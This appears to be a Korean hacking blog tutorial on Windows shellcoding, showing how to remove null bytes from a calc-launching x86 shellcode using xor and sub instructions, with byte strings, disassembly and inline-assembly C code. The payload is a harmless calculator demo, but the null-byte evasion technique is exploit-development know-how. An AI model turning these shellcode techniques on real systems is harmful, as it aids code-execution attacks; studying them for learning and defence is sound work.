이 포스팅은 "윈도우 시스템 해킹 가이드-버그헌팅과 익스플로잇"을 참조하며 만들었습니다.
#1
2019/08/21 - [해킹/System] - [Windows_System] Shellcoding 쉘코딩법 #1
============================================================================
\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\xC6\x45\xFC\x00\x6A\x01\x8D\x45\xF8\x50\xB8\x10\x3A\x64\x76\xFF\xD0\x6A\x01\xB8\x20\x2D\x85\x75\xFF\xD0
지난번에 만든 쉘코드에는 널바이트(\x00)가 들어있었습니다.
널바이트는 보통 문자열의 마지막을 의미하기때문에 이 널바이트가 쉘코드에 포함되어있다면 그 쉘코드를 읽어오는 도중에 끊어질 수가 있습니다. 그렇게 되면 애써만든 쉘코드를 사용할 수 없게 됩니다.
그렇다면 이 널바이트를 제거하려면 어떻게 해야하나?
여러 가지 방식이 존재할 수 있습니다. 어셈블리를 약간만 배웠다면 다양한 방식으로 이 널바이트를 없앨 수 있습니다.
다시한번 쉘코딩한것을 디버깅해서 코드바이트를 봐줍니다.
문제가 되는 부분은 빨간색으로 표시한 부분에서의 00입니다. 저의 쉘코드에는 한부분이 문제가 되는 군요.
C6 45 F8 63 mov byte ptr [ebp-8],63h
C6 45 F9 61 mov byte ptr [ebp-7],61h
C6 45 FA 6C mov byte ptr [ebp-6],6Ch
C6 45 FB 63 mov byte ptr [ebp-5],63h
C6 45 FC 00 mov byte ptr [ebp-4],0
6A 01 push 1
8D 45 F8 lea eax,[ebp-8]
50 push eax
B8 10 3A 64 76 mov eax,76643A10h
FF D0 call eax
지난번 처럼 어셈을 한번 정리해봤습니다. 이때 널바이트를 만들어 내는 부분은 "mov byte ptr [ebp-4],0"이네요
이 어셈은 ebp-4영역에 0을 집어넣으라는 의미입니다.
0 즉 널(NULL)을 넣으니 당연히 널바이트가 생성될수밖에 없습니다.
그럼 이 0을 어떻게 넣어주면 될까요?
방법1. 0이 필요없는 다른 명령어로 대체
방법2. 32비트 레지스터가 아닌 16비트,8비트 레지스터 사용하기
방법3. 연산 명령을 사용해서 0을 결과로 나타냄 (포스팅 맨 위에 표기한 책을 참조하였습니다.)
이외에도 창의적으로 어셈블리를 조합해서 원하는 방식으로 널바이트를 없앨 수 있습니다.
위 나열한 방식중 방법2번은 저희가 없애야할 널바이트가 16비트나 8비트로 끊기지 않아 사용할 수 없으니 패스합니다.
그럼 방법1로 가봅시다.
#include <stdio.h>
#include <windows.h>
int main() {
__asm {
//char buf[5] = { 'c','a','l','c','\x0' };
mov byte ptr[ebp - 8], 63h //buf에 calc0 차곡차곡 저장~ ebp 기준으로
mov byte ptr[ebp - 7], 61h
mov byte ptr[ebp - 6], 6Ch
mov byte ptr[ebp - 5], 63h
//mov byte ptr[ebp - 4], 0
xor ebx , ebx
mov byte ptr[ebp - 4], bl
//WinExec(buf, 1);
push 1 //스택에 인자인 1 넣기
lea eax, [ebp - 8] //인자로 buf 주기
push eax //스택에 buf주소 쌓기
mov eax, 0x73B43A10 //WinExec() 주소
call eax //함수 실행!
//exit(1);
push 1 //스택에 1 쌓기!
mov eax, 0x762D2D20 //exit() 주소!
call eax //함수 실행!
};
}
//r3dzone
//shellcode.c
xor 연산을 통해 ebx레지스터의 값을 0으로 만들어주고 그 ebx의 하위 8비트(bl)를 ebp-4영역에 넣어줬습니다.
(bl을 사용한 이유는 ebp -4를 byte로 선언했기 때문! dword로 선언시에는 그냥 ebx로 가능!)
(xor연산은 두개의 값을 비교해서 다르면 1, 같으면 0을 목표레지스터에 저장합니다.)
결국 ebp-4에는 저희가 원하는 것과 똑같이 0이라는 값이 저장되게 되서 정상적으로 동작합니다.
디스어셈블리를 통해 다시 바이트 코드를 확인해봐도 널바이트가 없습니다! 성공!
\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x33\xDB\x88\x5D\xFC\x6A\x01\x8D\x45\xF8\x50\xB8\x10\x3A\xB4\x73\xFF\xD0\x6A\x01\xB8\x20\x2D\x2D\x76\xFF\xD0
이제 방법3을 사용해 볼까요?
mov 연산을 통해 ebp-4에 1을 넣어주고 sub연산으로 1을 빼주었습니다.
역시 ebp-4에는 똑같이 0이라는 값이 저장되게 되서 정상적으로 동작합니다.
코드가 약간 길어졌긴 했지만 역시나 널바이트는 제거되었습니다!
\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\xC6\x45\xFC\x01\x80\x6D\xFC\x01\x6A\x01\x8D\x45\xF8\x50\xB8\x10\x3A\xB4\x73\xFF\xD0
'해킹 > System' 카테고리의 다른 글
메모리 구조와 스택 프레임 (0) | 2021.06.11 |
---|---|
[Windows_System] 윈도우 프로그램 익스플로잇 (Corelan Exploit Writing Tutorial 실습) #1 EIP컨트롤 (2) | 2019.08.23 |
[Windows_System] Shellcoding 쉘코딩법 #1 (2) | 2019.08.21 |
#사진 날아감 [Windows_System] 윈도우 프로그램 익스플로잇 (Corelan Exploit Writing Tutorial 실습) #2 JMP ESP (0) | 2018.07.09 |
#사진 날아감 [Windows_System] 윈도우 프로그램 익스플로잇 (Corelan Exploit Writing Tutorial 실습) #1 EIP컨트롤 (0) | 2018.07.09 |